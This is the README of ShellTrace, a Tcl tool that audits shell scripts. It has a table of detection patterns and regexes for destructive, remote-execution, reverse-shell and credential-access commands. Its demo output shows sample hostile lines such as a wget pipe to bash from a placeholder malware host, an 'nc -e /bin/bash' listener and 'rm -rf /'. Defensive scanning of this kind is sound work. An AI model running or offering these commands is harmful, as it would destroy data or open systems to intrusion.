NullSec ShellTrace

February 27, 2026 · View on GitHub

Shell Command Auditor written in Tcl

Version Language License

Part of the NullSec offensive security toolkit
Twitter: x.com/AnonAntics
Portal: bad-antics.github.io

Overview

ShellTrace is a shell script security auditor that identifies dangerous commands, potential backdoors, and security misconfigurations. Built with Tcl's powerful string manipulation and pattern matching capabilities, perfect for analyzing bash scripts, automation, and CI/CD pipelines.

Tcl Features Showcased

  • String Manipulation: Powerful text processing
  • Regular Expressions: Flexible pattern matching
  • List Processing: Dynamic data structures
  • Dictionaries: Key-value data storage
  • Procedures: Modular function definitions
  • File I/O: Script file analysis
  • Command Substitution: Dynamic evaluation

Detected Patterns

PatternRiskMITRE IDDescription
rm -rf /CRITICALT1485Root deletion
dd of=/dev/CRITICALT1561Device overwrite
wget | bashCRITICALT1059Remote code exec
curl | shCRITICALT1059Remote code exec
nc -eCRITICALT1059Reverse shell
base64 -d | bashCRITICALT1027Encoded payload
setenforce 0CRITICALT1562SELinux bypass
chmod -R 777HIGHT1222Insecure perms
unset HISTFILEHIGHT1070Anti-forensics
iptables -FHIGHT1562Firewall bypass
alias ls=HIGHT1574Command hijack
sshpassHIGHT1110Plaintext creds
/etc/shadowHIGHT1003Credential access
history -cMEDIUMT1070History clearing
export PATH=MEDIUMT1574PATH hijacking
crontab -eMEDIUMT1053Persistence

Installation

# Clone
git clone https://github.com/bad-antics/nullsec-shelltrace.git
cd nullsec-shelltrace

# Run (requires Tcl 8.6+)
tclsh shelltrace.tcl <script.sh>

Usage

# Analyze a shell script
tclsh shelltrace.tcl /path/to/script.sh

# Run demo mode
tclsh shelltrace.tcl --demo

# Show help
tclsh shelltrace.tcl --help

Options

USAGE:
    shelltrace [OPTIONS] <SCRIPT>

OPTIONS:
    -h, --help       Show help
    -o, --output     Output format (text/json)
    -s, --severity   Minimum severity to report

Sample Output

╔══════════════════════════════════════════════════════════════════╗
║            NullSec ShellTrace - Shell Command Auditor            ║
╚══════════════════════════════════════════════════════════════════╝

[Demo Mode]

Analyzing suspicious shell script...

  [CRITICAL] wget pipe to shell
    Line:        5
    Command:     wget http://malware.com/payload.sh | bash
    MITRE:       T1059
    Description: Remote code execution

  [CRITICAL] rm -rf /
    Line:        7
    Command:     rm -rf /
    MITRE:       T1485
    Description: Recursive root deletion

  [CRITICAL] netcat listener exec
    Line:        15
    Command:     nc -l -p 4444 -e /bin/bash
    MITRE:       T1059
    Description: Reverse shell capability

  [HIGH] unset HISTFILE
    Line:        13
    Command:     unset HISTFILE
    MITRE:       T1070
    Description: History logging bypass

═══════════════════════════════════════════

  Summary:
    Issues Found: 12
    Critical:     5
    High:         4
    Medium:       3
    Low:          0

Code Highlights

Pattern Definition with Metadata

set dangerous_patterns {
    {rm\s+-rf\s+/} {command "rm -rf /" risk critical mitre "T1485" desc "Recursive root deletion"}
    {wget\s+.*\|\s*(sh|bash)} {command "wget pipe to shell" risk critical mitre "T1059" desc "Remote code execution"}
    {nc\s+-l.*-e} {command "netcat listener exec" risk critical mitre "T1059" desc "Reverse shell capability"}
}

Dictionary-Based Findings

proc create_finding {line_num line pattern_data} {
    return [dict create \
        line_number $line_num \
        command $line \
        pattern_name [dict get $pattern_data command] \
        risk [dict get $pattern_data risk] \
        mitre [dict get $pattern_data mitre] \
        description [dict get $pattern_data desc]]
}

Pattern Matching

proc analyze_line {line line_num} {
    global dangerous_patterns
    set findings {}
    
    foreach {pattern metadata} $dangerous_patterns {
        if {[regexp -nocase $pattern $line]} {
            lappend findings [create_finding $line_num $line $metadata]
        }
    }
    
    return $findings
}

Use Cases

ScenarioApplication
CI/CD ReviewAudit deployment scripts
Code ReviewCheck bash scripts for issues
ForensicsAnalyze suspicious scripts
ComplianceSecurity policy enforcement
DevSecOpsAutomated security scanning

Why Tcl?

RequirementTcl Advantage
String ProcessingNative strength
Regular ExpressionsBuilt-in support
ScriptingEmbeddable, lightweight
Cross-platformRuns everywhere
Rapid DevelopmentSimple syntax
Legacy Integration30+ years of libraries

License

MIT License - See LICENSE for details.